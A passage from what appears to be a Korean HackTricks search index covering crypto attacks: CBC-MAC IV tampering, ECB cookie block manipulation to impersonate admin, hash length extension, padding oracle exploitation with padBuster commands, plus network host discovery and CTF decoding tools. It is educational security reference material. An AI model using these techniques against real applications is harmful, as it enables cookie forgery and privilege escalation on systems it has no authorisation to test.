공격이 매우 쉬울 수 있습니다. 만약 cookie가 단순히 암호화된 사용자 이름이라면, 사용자 \\" administrator \\"를 가장하기 위해 \\" Administrator \\"라는 사용자를 만들 수 있으며, 그 사용자의 cookie를 얻을 수 있습니다. 이제 IV를 제어할 수 있다면, IV의 첫 번째 바이트를 변경하여 **IV[0] XOR \\"A\\" == IV\'[0] XOR \\"a\\"**로 만들고 사용자 Administrator 의 cookie를 재생성할 수 있습니다. 이 cookie는 초기 IV 로 사용자 administrator 를 가장하는 데 유효합니다.","breadcrumbs":"Cipher Block Chaining CBC-MAC » Attack Controlling IV","id":"10098","title":"Attack Controlling IV"},"10099":{"body":"자세한 정보는 https://en.wikipedia.org/wiki/CBC-MAC tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Cipher Block Chaining CBC-MAC » References","id":"10099","title":"References"},"101":{"body":"Discovering hosts from the outside 에 언급된 기술들 ( TCP/HTTP/UDP/SCTP Port Discovery )은 여기에도 적용할 수 있습니다 . 하지만 다른 호스트들과 같은 네트워크 에 있으므로, 더 많은 작업 을 수행할 수 있습니다: bash #ARP discovery\\nnmap -sn #ARP Requests (Discover IPs)\\nnetdiscover -r #ARP requests (Discover IPs) #NBT discovery\\nnbtscan -r 192.168.0.1/24 #Search in Domain # Bettercap\\nnet.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD\\nset net.probe.mdns true/false #Enable mDNS discovery probes (default=true)\\nset net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)\\nset net.probe.upnp true/false #Enable UPNP discovery probes (default=true)\\nset net.probe.wsd true/false #Enable WSD discovery probes (default=true)\\nset net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6\\nalive6 # Send a pingv6 to multicast.","breadcrumbs":"Pentesting Network » Active","id":"101","title":"Active"},"1010":{"body":"네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있어 사용자 개인 정보가 침해될 수 있습니다. 이는 특히 한 기관이 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력이 향상됩니다.","breadcrumbs":"Blockchain & Crypto » 트래픽 분석","id":"1010","title":"트래픽 분석"},"10100":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Crypto CTFs Tricks » Crypto CTFs Tricks","id":"10100","title":"Crypto CTFs Tricks"},"10101":{"body":"구글링하기 http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240 https://www.onlinehashcrack.com/ https://crackstation.net/ https://md5decrypt.net/ https://www.onlinehashcrack.com https://gpuhash.me/ https://hashes.org/search.php https://www.cmd5.org/ https://hashkiller.co.uk/Cracker/MD5 https://www.md5online.org/md5-decrypt.html","breadcrumbs":"Crypto CTFs Tricks » Online Hashes DBs","id":"10101","title":"Online Hashes DBs"},"10102":{"body":"https://github.com/Ciphey/Ciphey https://gchq.github.io/CyberChef/ (Magic module) https://github.com/dhondta/python-codext https://www.boxentriq.com/code-breaking","breadcrumbs":"Crypto CTFs Tricks » Magic Autosolvers","id":"10102","title":"Magic Autosolvers"},"10103":{"body":"대부분의 인코딩된 데이터는 이 두 리소스로 디코딩할 수 있습니다: https://www.dcode.fr/tools-list https://gchq.github.io/CyberChef/","breadcrumbs":"Crypto CTFs Tricks » Encoders","id":"10103","title":"Encoders"},"10104":{"body":"https://www.boxentriq.com/code-breaking/cryptogram https://quipqiup.com/ - 매우 좋습니다! Caesar - ROTx Autosolvers https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript Atbash Cipher http://rumkin.com/tools/cipher/atbash.php","breadcrumbs":"Crypto CTFs Tricks » Substitution Autosolvers","id":"10104","title":"Substitution Autosolvers"},"10105":{"body":"모든 이 기본들을 확인하세요: https://github.com/dhondta/python-codext Ascii85 BQ%]q@psCd@rH0l Base26 [ A-Z ] BQEKGAHRJKHQMVZGKUXNT Base32 [ A-Z2-7= ] NBXWYYLDMFZGCY3PNRQQ==== Zbase32 [ ybndrfg8ejkmcpqxot1uwisza345h769 ] pbzsaamdcf3gna5xptoo==== Base32 Geohash [ 0-9b-hjkmnp-z ] e1rqssc3d5t62svgejhh==== Base32 Crockford [ 0-9A-HJKMNP-TV-Z ] D1QPRRB3C5S62RVFDHGG==== Base32 Extended Hexadecimal [ 0-9A-V ] D1NMOOB3C5P62ORFDHGG==== Base45 [ 0-9A-Z $%*+-./: ] 59DPVDGPCVKEUPCPVD Base58 (bitcoin) [ 1-9A-HJ-NP-Za-km-z ] 2yJiRg5BF9gmsU6AC Base58 (flickr) [ 1-9a-km-zA-HJ-NP-Z ] 2YiHqF5bf9FLSt6ac Base58 (ripple) [ rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz ] pyJ5RgnBE9gm17awU Base62 [ 0-9A-Za-z ] g2AextRZpBKRBzQ9 Base64 [ A-Za-z0-9+/= ] aG9sYWNhcmFjb2xh Base67 [ A-Za-z0-9- .!~_] NI9JKX0cSUdqhr!p Base85 (Ascii85) [ !\\"#$%&\'()*+,-./0-9:;<=>?@A-Z[\\\\]^_`a-u ] BQ%]q@psCd@rH0l Base85 (Adobe) [ !\\"#$%&\'()*+,-./0-9:;<=>?@A-Z[\\\\]^_`a-u ] <~BQ%]q@psCd@rH0l~> Base85 (IPv6 or RFC1924) [ 0-9A-Za-z!#$%&()*+-;<=>?@^ `{|}~_] Xm4yV_|Y(V{dF>` Base85 (xbtoa) [ !\\"#$%&\'()*+,-./0-9:;<=>?@A-Z[\\\\]^_`a-u ] xbtoa Begin\\\\nBQ%]q@psCd@rH0l\\\\nxbtoa End N 12 c E 1a S 4e6 R 6991d Base85 (XML) [_0-9A-Za-y!#$()*+,-./:;=?@^`{|}~z__] Xm4y|V{~Y+V}dF? Base91 [ A-Za-z0-9!#$%&()*+,./:;<=>?@[]^_`{|}~\\" ] frDg[*jNN!7&BQM Base100 [] 👟👦👣👘👚👘👩👘👚👦👣👘 Base122 [] 4F ˂r0Xmvc ATOM-128 [ /128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC ] MIc3KiXa+Ihz+lrXMIc3KbCC HAZZ15 [ HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5 ] DmPsv8J7qrlKEoY7 MEGAN35 [ 3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5 ] kLD8iwKsigSalLJ5 ZONG22 [ ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2 ] ayRiIo1gpO+uUc7g ESAB46 [] 3sHcL2NR8WrT7mhR MEGAN45 [] kLD8igSXm2KZlwrX TIGO3FX [] 7AP9mIzdmltYmIP9mWXX TRIPO5 [] UE9vSbnBW6psVzxB FERON74 [] PbGkNudxCzaKBm0x GILA7 [] D+nkv8C1qIKMErY1 Citrix CTX1 [] MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html - 404 Dead: https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html","breadcrumbs":"Crypto CTFs Tricks » Base Encodings Autosolver","id":"10105","title":"Base Encodings Autosolver"},"10106":{"body":"╫☐↑Λ↻Λ┏Λ↻☐↑Λ","breadcrumbs":"Crypto CTFs Tricks » HackerizeXS [ ╫Λ↻├☰┏ ]","id":"10106","title":"HackerizeXS [ ╫Λ↻├☰┏ ]"},"10107":{"body":".... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html - 404 데드: https://gchq.github.io/CyberChef/","breadcrumbs":"Crypto CTFs Tricks » 모스","id":"10107","title":"모스"},"10108":{"body":"begin 644 webutils_pl\\nM2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(\\nM3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/\\nF3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`\\n`\\nend http://www.webutils.pl/index.php?idx=uu","breadcrumbs":"Crypto CTFs Tricks » UUencoder","id":"10108","title":"UUencoder"},"10109":{"body":"begin 644 webutils_pl\\nhG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236\\n5Hol-G2xAEE++\\nend www.webutils.pl/index.php?idx=xx","breadcrumbs":"Crypto CTFs Tricks » XXEncoder","id":"10109","title":"XXEncoder"},"1011":{"body":"개인 정보 공격 및 방어에 대한 포괄적인 목록은 Bitcoin Privacy on Bitcoin Wiki 를 방문하세요.","breadcrumbs":"Blockchain & Crypto » 더 알아보기","id":"1011","title":"더 알아보기"},"10110":{"body":"=ybegin line=128 size=28 name=webutils_pl\\nryvkryvkryvkryvkryvkryvkryvk\\n=yend size=28 crc32=35834c86 http://www.webutils.pl/index.php?idx=yenc","breadcrumbs":"Crypto CTFs Tricks » YEncoder","id":"10110","title":"YEncoder"},"10111":{"body":"(This file must be converted with BinHex 4.0)\\n:#hGPBR9dD@acAh\\"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da\\"5%p\\n-38K26%\'d9J!!: http://www.webutils.pl/index.php?idx=binhex","breadcrumbs":"Crypto CTFs Tricks » BinHex","id":"10111","title":"BinHex"},"10112":{"body":"<~85DoF85DoF85DoF85DoF85DoF85DoF~> http://www.webutils.pl/index.php?idx=ascii85","breadcrumbs":"Crypto CTFs Tricks » ASCII85","id":"10112","title":"ASCII85"},"10113":{"body":"drnajapajrna https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard","breadcrumbs":"Crypto CTFs Tricks » 드보락 키보드","id":"10113","title":"드보락 키보드"},"10114":{"body":"문자를 숫자 값으로 변환 8 15 12 1 3 1 18 1 3 15 12 1","breadcrumbs":"Crypto CTFs Tricks » A1Z26","id":"10114","title":"A1Z26"},"10115":{"body":"문자에서 숫자로 (ax+b)%26 (_a_와 _b_는 키이고 _x_는 문자) 변환하고 결과를 다시 문자로 변환합니다. krodfdudfrod","breadcrumbs":"Crypto CTFs Tricks » Affine Cipher Encode","id":"10115","title":"Affine Cipher Encode"},"10116":{"body":"Multitap 문자를 대체 하는 것은 모바일 전화 키패드 에서 해당 키 코드에 의해 정의된 반복된 숫자입니다 (이 모드는 SMS를 작성할 때 사용됩니다). 예를 들어: 2=A, 22=B, 222=C, 3=D... 이 코드를 식별할 수 있는 방법은 여러 숫자가 반복되는 것을 볼 수 있기 때문입니다. 이 코드는 다음에서 해독할 수 있습니다: https://www.dcode.fr/multitap-abc-cipher","breadcrumbs":"Crypto CTFs Tricks » SMS 코드","id":"10116","title":"SMS 코드"},"10117":{"body":"각 문자를 4개의 A 또는 B(또는 1과 0)로 대체합니다. 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000\\nAABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA","breadcrumbs":"Crypto CTFs Tricks » 베이컨 코드","id":"10117","title":"베이컨 코드"},"10118":{"body":"","breadcrumbs":"Crypto CTFs Tricks » Runes","id":"10118","title":"Runes"},"10119":{"body":"Raw Deflate 와 Raw Inflate (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 압축 해제할 수 있습니다.","breadcrumbs":"Crypto CTFs Tricks » Compression","id":"10119","title":"Compression"},"1012":{"body":"","breadcrumbs":"Blockchain & Crypto » 익명 비트코인 거래","id":"1012","title":"익명 비트코인 거래"},"10120":{"body":"","breadcrumbs":"Crypto CTFs Tricks » Easy Crypto","id":"10120","title":"Easy Crypto"},"10121":{"body":"https://wiremask.eu/tools/xor-cracker/","breadcrumbs":"Crypto CTFs Tricks » XOR - Autosolver","id":"10121","title":"XOR - Autosolver"},"10122":{"body":"키워드가 필요합니다. fgaargaamnlunesuneoa","breadcrumbs":"Crypto CTFs Tricks » Bifid","id":"10122","title":"Bifid"},"10123":{"body":"키워드가 필요합니다. wodsyoidrods https://www.guballa.de/vigenere-solver https://www.dcode.fr/vigenere-cipher https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx","breadcrumbs":"Crypto CTFs Tricks » Vigenere","id":"10123","title":"Vigenere"},"10124":{"body":"","breadcrumbs":"Crypto CTFs Tricks » 강력한 암호","id":"10124","title":"강력한 암호"},"10125":{"body":"2개의 base64 문자열 (토큰 및 키) Token:\\ngAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== Key:\\n-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= https://asecuritysite.com/encryption/ferdecode","breadcrumbs":"Crypto CTFs Tricks » 페르넷","id":"10125","title":"페르넷"},"10126":{"body":"비밀은 X 부분으로 나누어지고, 이를 복구하기 위해서는 Y 부분이 필요합니다 ( Y <=X ). 8019f8fa5879aa3e07858d08308dc1a8b45\\n80223035713295bddf0b0bd1b10a5340b89\\n803bc8cf294b3f83d88e86d9818792e80cd http://christian.gen.co/secrets/","breadcrumbs":"Crypto CTFs Tricks » Samir 비밀 공유","id":"10126","title":"Samir 비밀 공유"},"10127":{"body":"https://github.com/glv2/bruteforce-salted-openssl https://github.com/carlospolop/easy_BFopensslCTF","breadcrumbs":"Crypto CTFs Tricks » OpenSSL 무차별 대입 공격","id":"10127","title":"OpenSSL 무차별 대입 공격"},"10128":{"body":"https://github.com/Ganapati/RsaCtfTool https://github.com/lockedbyte/cryptovenom https://github.com/nccgroup/featherduster tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Crypto CTFs Tricks » 도구","id":"10128","title":"도구"},"10129":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. (ECB) 전자 코드 북 - 명확한 텍스트의 각 블록을 암호문 블록으로 대체하는 대칭 암호화 방식입니다. 가장 간단한 암호화 방식입니다. 주요 아이디어는 명확한 텍스트를 N 비트 블록으로 나누고 (입력 데이터의 블록 크기와 암호화 알고리즘에 따라 다름) 각 명확한 텍스트 블록을 단 하나의 키를 사용하여 암호화(복호화)하는 것입니다. ECB를 사용하는 것은 여러 가지 보안 문제를 초래합니다: 암호화된 메시지의 블록을 제거할 수 있습니다 암호화된 메시지의 블록을 이동할 수 있습니다","breadcrumbs":"Electronic Code Book (ECB) » ECB","id":"10129","title":"ECB"},"1013":{"body":"현금 거래 : 현금을 통해 비트코인을 획득합니다. 현금 대안 : 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다. 채굴 : 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있기 때문입니다. Mining Pools Information 도난 : 이론적으로 비트코인을 훔치는 것도 익명으로 획득하는 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.","breadcrumbs":"Blockchain & Crypto » 익명으로 비트코인을 얻는 방법","id":"1013","title":"익명으로 비트코인을 얻는 방법"},"10130":{"body":"애플리케이션에 여러 번 로그인할 때마다 항상 같은 쿠키를 받는다고 상상해 보세요 . 이는 애플리케이션의 쿠키가 **|**이기 때문입니다. 그런 다음, 같은 긴 비밀번호 와 거의 같은 사용자 이름 을 가진 두 명의 새로운 사용자를 생성합니다. 두 사용자의 정보가 같은 8B 블록 이 같다는 것을 알게 됩니다 . 그러면 ECB가 사용되고 있을 가능성이 있다고 상상합니다 . 다음 예제와 같이. 이 2개의 디코딩된 쿠키 가 여러 번 블록 **\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8**를 가지고 있는지 관찰하세요. \\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x04\\\\xB6\\\\xE1H\\\\xD1\\\\x1E \\\\xB6\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8+=\\\\xD4F\\\\xF7\\\\x99\\\\xD9\\\\xA9 \\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x04\\\\xB6\\\\xE1H\\\\xD1\\\\x1E \\\\xB6\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8+=\\\\xD4F\\\\xF7\\\\x99\\\\xD9\\\\xA9 이것은 그 쿠키의 사용자 이름과 비밀번호에 \\"a\\"라는 글자가 여러 번 포함되어 있기 때문입니다 (예를 들어). 다른 블록 은 최소 1개의 다른 문자 가 포함된 블록입니다 (구분자 \\"|\\" 또는 사용자 이름의 필요한 차이일 수 있습니다). 이제 공격자는 형식이 인지 인지 알아내기만 하면 됩니다. 이를 위해 그는 유사하고 긴 사용자 이름과 비밀번호로 여러 사용자 이름을 생성하여 형식과 구분자의 길이를 찾을 수 있습니다: 사용자 이름 길이: 비밀번호 길이: 사용자 이름+비밀번호 길이: 쿠키 길이 (디코딩 후): 2 2 4 8 3 3 6 8 3 4 7 8 4 4 8 16 7 7 14 16","breadcrumbs":"Electronic Code Book (ECB) » 취약점 탐지","id":"10130","title":"취약점 탐지"},"10131":{"body":"","breadcrumbs":"Electronic Code Book (ECB) » 취약점 악용","id":"10131","title":"취약점 악용"},"10132":{"body":"쿠키의 형식( |)을 알고, 사용자 이름 admin을 가장하기 위해 aaaaaaaaadmin이라는 새 사용자를 만들고 쿠키를 가져와서 디코딩합니다: \\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8\\\\xE0Vd8oE\\\\x123\\\\aO\\\\x43T\\\\x32\\\\xD5U\\\\xD4 우리는 이전에 a만 포함된 사용자 이름으로 생성된 패턴 \\\\x23U\\\\xE45K\\\\xCB\\\\x21\\\\xC8를 볼 수 있습니다. 그런 다음, 8B의 첫 번째 블록을 제거하면 사용자 이름 admin에 대한 유효한 쿠키를 얻을 수 있습니다: \\\\xE0Vd8oE\\\\x123\\\\aO\\\\x43T\\\\x32\\\\xD5U\\\\xD4","breadcrumbs":"Electronic Code Book (ECB) » 전체 블록 제거","id":"10132","title":"전체 블록 제거"},"10133":{"body":"많은 데이터베이스에서 WHERE username=\'admin\';을 검색하는 것과 WHERE username=\'admin \';을 검색하는 것은 동일합니다. (여분의 공백에 주의하세요) 따라서, 사용자 admin을 가장하는 또 다른 방법은 다음과 같습니다: len() + len(가 2개의 8B 블록을 생성합니다. 그런 다음, 우리가 가장하고자 하는 사용자 이름과 공백을 포함하는 정확한 블록 수를 채우는 비밀번호를 생성합니다: admin 이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 첫 번째 2개는 사용자 이름 + 구분 기호의 블록이고, 세 번째는 비밀번호(사용자 이름을 가장하는 것)입니다: username |admin 그런 다음, 첫 번째 블록을 마지막으로 교체하면 사용자 admin을 가장하게 됩니다: admin |username","breadcrumbs":"Electronic Code Book (ECB) » Moving blocks","id":"10133","title":"Moving blocks"},"10134":{"body":"http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Electronic Code Book (ECB) » References","id":"10134","title":"References"},"10135":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hash Length Extension Attack » Hash Length Extension Attack","id":"10135","title":"Hash Length Extension Attack"},"10136":{"body":"서버가 데이터 에 비밀 을 추가 하여 서명 하고 그 데이터를 해싱한다고 상상해 보십시오. 다음을 알고 있다면: 비밀의 길이 (주어진 길이 범위에서 브루트포스할 수 있음) 명확한 텍스트 데이터 알고리즘 (이 공격에 취약함) 패딩이 알려져 있음 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨 패딩은 비밀+데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함 그렇다면 공격자 가 데이터 를 추가 하고 이전 데이터 + 추가된 데이터 에 대한 유효한 서명 을 생성 하는 것이 가능합니다.","breadcrumbs":"Hash Length Extension Attack » 공격 요약","id":"10136","title":"공격 요약"},"10137":{"body":"기본적으로 취약한 알고리즘은 먼저 데이터 블록을 해싱 하여 해시를 생성한 다음, 이전에 생성된 해시 (상태)에서 다음 데이터 블록을 추가 하고 해싱 합니다. 그런 다음 비밀이 \\"secret\\"이고 데이터가 \\"data\\"라고 가정해 보십시오. \\"secretdata\\"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다. 공격자가 \\"append\\" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다: 64개의 \\"A\\"로 MD5 생성 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경 \\"append\\" 문자열 추가 해시를 완료하면 결과 해시는 **\\"secret\\" + \\"data\\" + \\"padding\\" + \\"append\\"**에 대한 유효한 해시가 됩니다.","breadcrumbs":"Hash Length Extension Attack » 어떻게?","id":"10137","title":"어떻게?"},"10138":{"body":"GitHub - iagox86/hash_extender","breadcrumbs":"Hash Length Extension Attack » 도구","id":"10138","title":"도구"},"10139":{"body":"이 공격에 대한 좋은 설명은 https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks 에서 찾을 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hash Length Extension Attack » 참고 문헌","id":"10139","title":"참고 문헌"},"1014":{"body":"믹싱 서비스를 사용하면 사용자가 비트코인을 보내고 다른 비트코인을 받는 방식으로 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.","breadcrumbs":"Blockchain & Crypto » 믹싱 서비스","id":"1014","title":"믹싱 서비스"},"10140":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Padding Oracle » 패딩 오라클","id":"10140","title":"패딩 오라클"},"10141":{"body":"CBC 모드에서는 이전 암호화 블록이 IV로 사용되어 다음 블록과 XOR 연산을 수행합니다: https://defuse.ca/images/cbc_encryption.png CBC를 복호화하려면 반대 작업 을 수행합니다: https://defuse.ca/images/cbc_decryption.png 암호화 키 와 IV 를 사용하는 것이 필요함을 주목하세요.","breadcrumbs":"Padding Oracle » CBC - 암호 블록 체인","id":"10141","title":"CBC - 암호 블록 체인"},"10142":{"body":"암호화가 고정 크기 블록 으로 수행되기 때문에, 마지막 블록 의 길이를 완성하기 위해 패딩 이 일반적으로 필요합니다. 보통 PKCS7 이 사용되며, 이는 블록을 완성하는 데 필요한 바이트 수 를 반복 하여 패딩을 생성합니다. 예를 들어, 마지막 블록이 3 바이트가 부족하면 패딩은 \\\\x03\\\\x03\\\\x03이 됩니다. 8바이트 길이의 2 블록 에 대한 더 많은 예를 살펴보겠습니다: byte #0 byte #1 byte #2 byte #3 byte #4 byte #5 byte #6 byte #7 byte #0 byte #1 byte #2 byte #3 byte #4 byte #5 byte #6 byte #7 P A S S W O R D 1 2 3 4 5 6 0x02 0x02 P A S S W O R D 1 2 3 4 5 0x03 0x03 0x03 P A S S W O R D 1 2 3 0x05 0x05 0x05 0x05 0x05 P A S S W O R D 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08 마지막 예에서 마지막 블록이 가득 차 있었기 때문에 패딩만으로 생성된 또 다른 블록이 생성되었다는 점에 주목하세요 .","breadcrumbs":"Padding Oracle » 메시지 패딩","id":"10142","title":"메시지 패딩"},"10143":{"body":"애플리케이션이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 후 패딩을 제거합니다. 패딩 정리 중에 잘못된 패딩이 감지 가능한 동작을 유발하면 , 패딩 오라클 취약점 이 발생합니다. 감지 가능한 동작은 오류 , 결과 부족 , 또는 느린 응답 일 수 있습니다. 이 동작을 감지하면 암호화된 데이터를 복호화 하고 심지어 어떤 평문도 암호화 할 수 있습니다.","breadcrumbs":"Padding Oracle » 패딩 오라클","id":"10143","title":"패딩 오라클"},"10144":{"body":"이러한 종류의 취약점을 악용하기 위해 https://github.com/AonCyberLabs/PadBuster 를 사용할 수 있거나 그냥 할 수 있습니다. sudo apt-get install padbuster 사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다: bash perl ./padBuster.pl http://10.10.10.10/index.php \\"RVJDQrwUdTRWJUVUeBKkEA==\\" 8 -encoding 0 -cookies \\"login=RVJDQrwUdTRWJUVUeBKkEA==\\" Encoding 0 는 base64 가 사용된다는 것을 의미합니다(하지만 다른 인코딩도 사용 가능하니 도움말 메뉴를 확인하세요). 이 취약점을 악용하여 새로운 데이터를 암호화할 수도 있습니다. 예를 들어, 쿠키의 내용이 \\" user=MyUsername \\"이라고 가정하면, 이를 \\"_user=administrator_\\"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. paduster를 사용하여 -plaintext 매개변수를 지정하여 이를 수행할 수도 있습니다: bash perl ./padBuster.pl http://10.10.10.10/index.php \\"RVJDQrwUdTRWJUVUeBKkEA==\\" 8 -encoding 0 -cookies \\"login=RVJDQrwUdTRWJUVUeBKkEA==\\" -plaintext \\"user=administrator\\" 사이트가 취약한 경우 padbuster는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, -error 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다. bash perl ./padBuster.pl http://10.10.10.10/index.php \\"\\" 8 -encoding 0 -cookies 